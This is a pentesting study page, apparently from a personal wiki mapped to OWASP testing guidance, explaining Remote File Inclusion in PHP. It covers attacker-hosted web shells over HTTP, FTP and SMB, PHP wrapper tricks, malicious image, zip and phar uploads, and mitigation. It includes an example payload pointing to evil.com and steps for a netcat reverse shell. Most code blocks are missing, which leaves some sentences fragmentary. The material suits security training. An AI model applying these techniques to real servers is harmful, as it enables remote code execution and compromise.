RFI attack - Remote File Inclusion
OWASP
OWASP Web Security Testing Guide 4.2 > 5. Authorization Testing > 5.1. Testing Directory Traversal File Include
ID | Link to Hackinglife | Link to OWASP | Description |
---|---|---|---|
5.1 | WSTG-ATHZ-01 | Testing Directory Traversal File Include | - Identify injection points that pertain to path traversal. - Assess bypassing techniques and identify the extent of path traversal (dot-dot-slash attack, Local/Remote file inclusion) |
A Remote File Inclusion (RFI) vulnerability is a type of security flaw found in web applications that allow an attacker to include and execute remote files on a web server.
This vulnerability arises due to improper handling of user-supplied input within the context of file inclusion operations.
Causes
- Insufficient Input Validation: The web application may not validate or filter user input, allowing attackers to inject malicious data.
- Lack of Proper Sanitization: Even if input is validated, the application may not adequately sanitize the input before using it in file inclusion operations.
- Using User Input in File Paths: Applications that dynamically include files based on user input are at high risk if they don't carefully validate and control that input.
- Failure to Implement Security Controls: Developers might overlook security best practices, such as setting proper file permissions or using security mechanisms like web application firewalls (WAFs).
How to exploit it?
Identify Vulnerable Input: The attacker identifies a web application that accepts user input and uses it in a file inclusion operation, typically in the form of a URL parameter or a POST request parameter.
Inject Malicious Payload: The attacker injects a malicious file path or URL into the vulnerable parameter. For example, they might replace a legitimate parameter like ?page=about.php with ?page=http://evil.com/malicious_script.
Server Executes Malicious Code: When the web application processes the attacker's input, it dynamically includes the remote file or URL. This can lead to remote code execution on the web server, as the malicious code in the included file is executed in the server's context.
php
In php.ini file there are some parameters that define this policy:
- allow_url_fopen
- allow_url_include
If these functions are enabled (set to ON), then a LFI can turned into a Remote File Inclusion.
Example 1: http server
1. Create a php file with the remote shell
2. In that php file, craft malicious code
3. Serve that file from you machine (http_serve).
4. Get your machine listening in a port with netcat.
5. In the injection point from where you can make a call to a URL, serve your file. For instance:
Sometimes there might be some filtering for the payload (which was:
using uppercase
https:\VICTIMurlADDRESS/PATH/PATH/page=hTTP://
Other bypassing techniques for slashes
We will serve this shell from our attacking machine:
Now, we can include our local shell through RFI, like we did earlier, but using <OUR_IP>
and our <LISTENING_PORT>
. We will also specify the command to be executed with &cmd=id
:
Example 3: FTP server
In kali attacking machine:
We will serve this shell from our attacking machine, but using FTP. We can start a basic FTP server with Python's pyftpdlib
, as follows:
This may also be useful in case http ports are blocked by a firewall or the http://
string gets blocked by a WAF.
And now, from the vulnerable webapp:
By default, PHP tries to authenticate as an anonymous user. If the server requires valid authentication, then the credentials can be specified in the URL, as follows:
Example 4: SMB server
In kali attacking machine:
We can spin up an SMB server using Impacket's smbserver.py
, which allows anonymous authentication by default, as follows:
And now, from the vulnerable webapp:
Wrappers
PHP wrapper
PHP Wrappers allow us to access different I/O streams at the application level, like standard input/output, file descriptors, and memory streams.
php://filter : allow the attacker to include local file and base64 encode as the output:
PHP filter without base64 encode:
DATA wrapper
The data wrapper can be used to include external data, including PHP code. However, the data wrapper is only available to use if the (allow_url_include
) setting is enabled in the PHP configurations. So, let's first confirm whether this setting is enabled, by reading the PHP configuration file through the LFI vulnerability.
The PHP configuration file found at (/etc/php/X.Y/apache2/php.ini
) for Apache or at (/etc/php/X.Y/fpm/php.ini
) for Nginx, where X.Y
is your install PHP version. Example:
With allow_url_include
enabled, we can proceed with our data
wrapper attack.
Basic PHP web shell with no encoding:
Basic PHP web shell with base64 encoding:
With CURL:
Input wrapper
The input wrapper can be used to include external input and execute PHP code.
The input wrapper also depends on the allow_url_include setting
The difference between it and the data
wrapper is that we pass our input to the input
wrapper as a POST request's data.
HTTP wrapper
Expect wrapper
The expect wrapper allows us to directly run commands through URL streams. With Expect we don't need to provide a web shell, as it is designed to execute commands. It needs to be manually installed and enabled on the back-end server.
Uploading a file
Image upload
Crafting Malicious Image:
Note: We are using a
GIF
image in this case since its magic bytes are easily typed, as they are ASCII characters, while other extensions have magic bytes in binary that we would need to URL encode. However, this attack would work with any allowed image or file type.
We upload the file and identify where this file was uploaded: /profile_images/shell.gif
And now we can trigger the remote code execution from the vulnerable endpoint within the app:
ZIP upload
We can utilize the zip wrapper to execute PHP code. However, this wrapper isn't enabled by default, so this method may not always work. To do so, we can start by creating a PHP web shell script and zipping it into a zip archive (named shell.jpg
), as follows:
We upload the file and identify where this file was uploaded: /profile_images/shell.php
And now we can trigger the remote code execution from the vulnerable endpoint within the app:
Phar Upload
We will first write the following PHP script into a shell.php
file:
We can compile it into a phar
file and rename it to shell.jpg
as follows:
Now, we should have a phar file called shell.jpg.
We upload the file and identify where this file was uploaded: /profile_images/shell.jpg
And now we can trigger the remote code execution from the vulnerable endpoint within the app:
Mitigation
In php.ini disallow:
- allow_url_fopen
- allow_url_include
User static file inclusion (instead of dynamic file inclusion) by harcoding the files you want to include and not get them using GET or POST methods.
Tools and payloads
- See updated chart: Attacks and tools for web pentesting.